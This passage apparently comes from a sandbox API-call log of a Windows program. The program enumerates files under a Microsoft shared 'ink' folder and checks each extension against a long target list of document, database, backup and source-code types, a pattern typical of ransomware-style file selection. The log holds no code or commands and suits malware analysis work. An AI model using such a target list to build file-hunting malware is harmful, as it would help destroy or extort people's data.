lpString2="delete.avi") returned 1 [0089.832] lstrcmpiW (lpString1="WindowsSystem32file.pe32.exe", lpString2="delete.avi") returned 1 [0089.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.832] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0089.832] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0089.832] lstrlenW (lpString=".1cd") returned 4 [0089.832] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.832] lstrlenW (lpString=".3ds") returned 4 [0089.832] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0089.832] lstrlenW (lpString=".3fr") returned 4 [0089.832] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0089.833] lstrlenW (lpString=".3g2") returned 4 [0089.833] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0089.833] lstrlenW (lpString=".3gp") returned 4 [0089.833] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0089.833] lstrlenW (lpString=".7z") returned 3 [0089.833] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.833] lstrlenW (lpString=".accda") returned 6 [0089.833] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0089.833] lstrlenW (lpString=".accdb") returned 6 [0089.833] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0089.833] lstrlenW (lpString=".accdc") returned 6 [0089.833] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0089.833] lstrlenW (lpString=".accde") returned 6 [0089.833] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0089.833] lstrlenW (lpString=".accdt") returned 6 [0089.833] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0089.833] lstrlenW (lpString=".accdw") returned 6 [0089.833] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0089.833] lstrlenW (lpString=".adb") returned 4 [0089.833] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0089.833] lstrlenW (lpString=".adp") returned 4 [0089.833] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0089.833] lstrlenW (lpString=".ai") returned 3 [0089.833] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0089.834] lstrlenW (lpString=".ai3") returned 4 [0089.834] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0089.834] lstrlenW (lpString=".ai4") returned 4 [0089.834] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0089.834] lstrlenW (lpString=".ai5") returned 4 [0089.834] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0089.834] lstrlenW (lpString=".ai6") returned 4 [0089.834] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0089.834] lstrlenW (lpString=".ai7") returned 4 [0089.834] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0089.834] lstrlenW (lpString=".ai8") returned 4 [0089.834] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0089.834] lstrlenW (lpString=".anim") returned 5 [0089.834] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0089.834] lstrlenW (lpString=".arw") returned 4 [0089.834] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0089.834] lstrlenW (lpString=".as") returned 3 [0089.834] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0089.834] lstrlenW (lpString=".asa") returned 4 [0089.834] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0090.062] lstrlenW (lpString=".asc") returned 4 [0090.063] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0090.063] lstrlenW (lpString=".ascx") returned 5 [0090.063] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0090.063] lstrlenW (lpString=".asm") returned 4 [0090.063] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0090.063] lstrlenW (lpString=".asmx") returned 5 [0090.063] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0090.063] lstrlenW (lpString=".asp") returned 4 [0090.063] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0090.063] lstrlenW (lpString=".aspx") returned 5 [0090.063] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0090.063] lstrlenW (lpString=".asr") returned 4 [0090.063] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0090.063] lstrlenW (lpString=".asx") returned 4 [0090.063] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0090.063] lstrlenW (lpString=".avi") returned 4 [0090.063] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0090.063] lstrlenW (lpString=".avs") returned 4 [0090.063] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0090.063] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0090.063] lstrlenW (lpString=".1cd") returned 4 [0090.063] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0090.064] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0090.064] lstrlenW (lpString=".1cd") returned 4 [0090.064] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0090.064] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0090.064] lstrlenW (lpString=".1cd") returned 4 [0090.064] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0090.064] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0090.064] lstrlenW (lpString=".1cd") returned 4 [0090.064] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="join.avi", cAlternateFileName="")) returned 1 [0090.064] lstrlenW (lpString="join.avi") returned 8 [0090.064] lstrlenW (lpString=".1cd") returned 4 [0090.064] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0090.065] lstrlenW (lpString="micaut.dll.mui") returned 14 [0090.065] lstrlenW (lpString=".1cd") returned 4 [0090.065] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0090.065] lstrlenW (lpString="mip.exe.mui") returned 11 [0090.065] lstrlenW (lpString=".1cd") returned 4 [0090.065] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0090.065] lstrlenW (lpString="mshwLatin.dll.mui") returned 17 [0090.065] lstrlenW (lpString=".1cd") returned 4 [0090.065] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0090.065] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0090.065] lstrlenW (lpString=".1cd") returned 4 [0090.065] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0090.066] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="split.avi", cAlternateFileName="")) returned 1 [0090.066] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0090.066] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0090.066] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0090.066] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0090.066] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0090.067] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0090.067] FindClose (in: hFindFile=0x4260650 | out: hFindFile=0x4260650) returned 1 [0090.067] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0090.220] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0090.221] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0090.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES") returned 56 [0090.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0090.222] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.222] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0090.222] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0090.222] lstrlenW (lpString=".1cd") returned 4 [0090.222] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0090.222] lstrlenW (lpString=".3ds") returned 4 [0090.222] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0090.222] lstrlenW (lpString=".3fr") returned 4 [0090.222] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0090.222] lstrlenW (lpString=".3g2") returned 4 [0090.222] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0090.222] lstrlenW (lpString=".3gp") returned 4 [0090.222] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0090.222] lstrlenW (lpString=".7z") returned 3 [0090.222] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0090.222] lstrlenW (lpString=".accda") returned 6 [0090.223] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0090.223] lstrlenW (lpString=".accdb") returned 6 [0090.223] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0090.223] lstrlenW (lpString=".accdc") returned 6 [0090.223] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0090.223] lstrlenW (lpString=".accde") returned 6 [0090.223] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0090.223] lstrlenW (lpString=".accdt") returned 6 [0090.223] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0090.223] lstrlenW (lpString=".accdw") returned 6 [0090.223] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0090.223] lstrlenW (lpString=".adb") returned 4 [0090.223] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0090.223] lstrlenW (lpString=".adp") returned 4 [0090.223] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0090.223] lstrlenW (lpString=".ai") returned 3 [0090.223] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0090.223] lstrlenW (lpString=".ai3") returned 4 [0090.223] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0090.223] lstrlenW (lpString=".ai4") returned 4 [0090.223] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0090.223] lstrlenW (lpString=".ai5") returned 4 [0090.223] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0090.223] lstrlenW (lpString=".ai6") returned 4 [0090.223] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0090.223] lstrlenW (lpString=".ai7") returned 4 [0090.224] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0090.224] lstrlenW (lpString=".ai8") returned 4 [0090.224] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0090.224] lstrlenW (lpString=".anim") returned 5 [0090.224] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0090.224] lstrlenW (lpString=".arw") returned 4 [0090.224] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0090.224] lstrlenW (lpString=".as") returned 3 [0090.224] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0090.224] lstrlenW (lpString=".asa") returned 4 [0090.224] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0090.224] lstrlenW (lpString=".asc") returned 4 [0090.224] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0090.224] lstrlenW (lpString=".ascx") returned 5 [0090.224] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0090.224] lstrlenW (lpString=".asm") returned 4 [0090.224] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0090.224] lstrlenW (lpString=".asmx") returned 5 [0090.224] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0090.224] lstrlenW (lpString=".asp") returned 4 [0090.224] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0090.224] lstrlenW (lpString=".aspx") returned 5 [0090.224] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0090.224] lstrlenW (lpString=".asr") returned 4 [0090.224] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0090.224] lstrlenW (lpString=".asx") returned 4 [0090.225] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0090.225] lstrlenW (lpString=".avi") returned 4 [0090.225] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0090.225] lstrlenW (lpString=".avs") returned 4 [0090.225] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0090.225] lstrlenW (lpString=".backup") returned 7 [0090.225] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0090.225] lstrlenW (lpString=".bak") returned 4 [0090.225] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0090.225] lstrlenW (lpString=".bay") returned 4 [0090.225] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0090.225] lstrlenW (lpString=".bd") returned 3 [0090.225] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0090.225] lstrlenW (lpString=".bin") returned 4 [0090.225] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0090.225] lstrlenW (lpString=".bmp") returned 4 [0090.225] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0090.225] lstrlenW (lpString=".bz2") returned 4 [0090.226] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".c") returned 2 [0090.226] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0090.226] lstrlenW (lpString=".cdr") returned 4 [0090.226] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".cer") returned 4 [0090.226] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".cf") returned 3 [0090.226] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0090.226] lstrlenW (lpString=".cfc") returned 4 [0090.226] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".cfm") returned 4 [0090.226] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".cfml") returned 5 [0090.226] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0090.226] lstrlenW (lpString=".cfu") returned 4 [0090.226] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".chm") returned 4 [0090.226] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".cin") returned 4 [0090.226] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".class") returned 6 [0090.226] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0090.226] lstrlenW (lpString=".clx") returned 4 [0090.226] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0090.226] lstrlenW (lpString=".config") returned 7 [0090.226] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0090.227] lstrlenW (lpString=".cpp") returned 4 [0090.227] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".cr2") returned 4 [0090.227] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".crt") returned 4 [0090.227] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".crw") returned 4 [0090.227] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".cs") returned 3 [0090.227] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0090.227] lstrlenW (lpString=".css") returned 4 [0090.227] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".csv") returned 4 [0090.227] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".cub") returned 4 [0090.227] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".dae") returned 4 [0090.227] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".dat") returned 4 [0090.227] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".db") returned 3 [0090.227] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0090.227] lstrlenW (lpString=".dbf") returned 4 [0090.227] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0090.227] lstrlenW (lpString=".dbx") returned 4 [0090.227] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".dc3") returned 4 [0090.228] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".dcm") returned 4 [0090.228] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".dcr") returned 4 [0090.228] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".der") returned 4 